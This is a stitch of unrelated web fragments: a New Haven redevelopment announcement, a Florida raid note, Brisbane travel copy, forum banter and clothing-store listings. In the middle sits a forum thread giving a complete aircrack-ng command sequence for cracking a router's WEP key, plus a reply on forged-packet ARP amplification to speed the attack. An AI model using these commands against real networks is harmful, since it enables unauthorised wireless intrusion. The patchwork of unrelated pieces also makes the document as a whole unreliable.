The Project calls for attracting over 35 new small to mid-sized permanent businesses and up to 20 seasonal incubator businesses, along with a mix of quality housing options ranging from low, moderate and workforce housing options. In addition, the project will generate approximately 4,700 construction jobs over the seven to ten years of project build-out beginning in 2014. The Developer will be working with the City ensure local New Haven residents and businesses have the opportunity to participate in this project. Most importantly, the Project will generate 2,800 permanent jobs at full operation. Once again the Developer is committed to working with the City and New Haven Works to ensure employment opportunities for residents.
The plan represents Phase II of New Haven�s Downtown Crossing project, the highway removal project that will reconnect Union Station, the Medical District and the Hill neighborhood to Downtown New Haven. In this next phase, we will rejoin South Orange Street across the current Route 34 towards Union Station along an at-grade street for pedestrians, cyclists and automobiles.
This almost $400 million project represents a milestone for the City, demonstrating that the New Haven market and economy is strong an growing stated Kelly Murphy, the City�s Economic Development Administrator.


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Internet cafes closing across FloridaPosted: Updated:
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An investigation led to a raid at a Fort Myers home Wednesday morning. The house is near the corner of Broadway and Hanson in Fort Myers.


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How far away from the router are you, what kind of signal level do you have and what is the signal quality.
All of those will affect the speed.
There are other things, but it is best to start with us knowing the basics first.
so ive crack "my" linksys router's wep encoding in about 20 min,but i see alot of people are doing it in about 10 min or less so can anyone tell me how to obtain or generate more data faster
im using a compaq armada m700 series laptop with a net gear notebook card WG511T
my comands are these
airmon-ng start wifi0-------starts madwifi and puts the card into monitor mode ath1
airodump-ng --channel 6 --bssid **:**:**:**:**(mac of target) -w capture ath1
aireplay-ng -3 -b **:**:**:**:**(target mac) -h **:**:**:**:**(my mac) ath1
aireplay-ng -1 6000 -e Joe(name of my router) -a **:**:**:**:**(target mac) -h **:**:**:**:**(my mac)
aireplay-ng -0 10 -a **:**:**:**:**(target mac) -h **:**:**:**:**(my mac)
aircrack-ng -n 64 capture-01.cap
so can anyone help are there any tweaks with the command line i could do ???
sorry but im kinda new at this
How far away from the router are you, what kind of signal level do you have and what is the signal quality.
All of those will affect the speed.
There are other things, but it is best to start with us knowing the basics first.
ok well like i said its my router so im relatively close to it.....soo um about 8 feet
try this
do a bitrate injtest
aireplay-ng --test 'CARDNAME' -B
find the higher rate wich give 100 % or the highest value you can get......
change your card to this rate before attack
and add this switch to your aireplay-ng arp replay attack
-x 1024
this changes the default packet number wich is send by the attack (def = 500)
after the next thing i can advise is if you got also a client ...... is ARP AMPLIFICATION
chopchop a packet
read the decrypted packet (xxx-dec.cap ) in tcpdump or wireshark in order to get the client ip
build a forged packet with client ip as destination and 255.255.255.10 as source ip
replay the new arp .......
enjoy rates up to 1200 IVs /secs ......
Watch your back, your packetz will belong to me soon... xD
BackTrack : Giving Machine Guns to Monkeys since 2006
You also need to tell us what version of the software that you are using.
How fast are the IVs coming in?
How many IVs did it take to crack the key?
ok thanks guys for responding so fast
but umm i ran the atack again today and i switched the order i did them (because i read somewhere today,that sometimes it depends on your order too)
and i got the 64-bit key in a little less then 6 min
thanks though
i will rerun the attack with the options you provided and lets see if i can get it faster XD
When you inject how many IV's/second is Airodump collecting?


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Founded in 1824 on the banks of the wide, meandering Brisbane River, the former penal colony of Brisbane was for many years regarded as just a big country town. Many beautiful timber Queenslander homes, built in the 1800s, still dot the riverbanks and suburbs, and in spring the city's numerous parks erupt in a riot of colourful jacaranda, poinciana, and bougainvillea blossoms. Today the Queensland capital is one of Australia's up-and-coming cities: glittering high-rises mark its polished business centre, fashion boutiques abound, and numerous outdoor attractions beckon. In summer, temperatures here are broilingly hot and days are often humid, a reminder that this city is part of a subtropical region: wear SPF 30-plus sunscreen and a broad-brimmed hat outdoors even on overcast days.
Brisbane's inner suburbs, a 5- to 10-minute drive or 15- to 20-minute walk from the city centre, have a mix of intriguing eateries and quiet accommodations. Fortitude Valley combines Chinatown with a cosmopolitan influx of clubs, cafés, and boutiques. Spring Hill has several high-quality hotels, and Paddington, New Farm, and West End are full of an eclectic mix of restaurants and bars. Brisbane is also a convenient base for trips to the Sunshine and Gold coasts, the mountainous hinterlands, and the Moreton Bay islands.


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Originally Posted by streaker69
I got as far as the Mississippi and couldn't cross, there's no covered bridge over it.
You could of tried to ford the river Oregon Trail style.
This is the sixth time we have created a thread about it... and we have become exceedingly efficient at it.
Forum Rules


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Liquid error: Could not find asset snippets/pluginseo.liquid
$ 28.00Size Chart | Size Guide | Return & Refund Policy
Our "must-have' graphic top for the Christmas season!
$ 60.00 $ 62.00Liquid error: Could not find asset snippets/iStock-collection.liquid
OMG! Ladies, this Romper is to die for! We are in complete obsession with this gorgeous piece and we know you will too. This floral romper features a deep V-neck, wrapped sash at the waist, kimono sleeves and a hidden zipper in the back. This eye catching lightweight romper will have all eyes on you where ever you go! A must-have for your closet! This romper is not lined. We recommend wearing a bandeau, tank or sticky bra under it.
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This gorgeously made black and ivory plaid knee length open cardigan is our season's must have. It a soft and warm material, perfect for a chilly day. It features a hoodie which give it a very sophisticated look. This cardigan will be a great addition to your closet and the perfect layering essential!
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Open knit infinity scarf with soft fringe trim & classic plaited stitching. Super soft and a versatile fashion essential! This scarf is the PERFECT cold weather accessory!
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A trendy treat for your shoe collection! Our all time fave lace up boots are back in a shorter style. If you LOVE our Leah's Over The Knee Boots , you will fall in love with these ones too. With adjustable lace, side zipper and the solid Beige, these cute boots will go well with any look!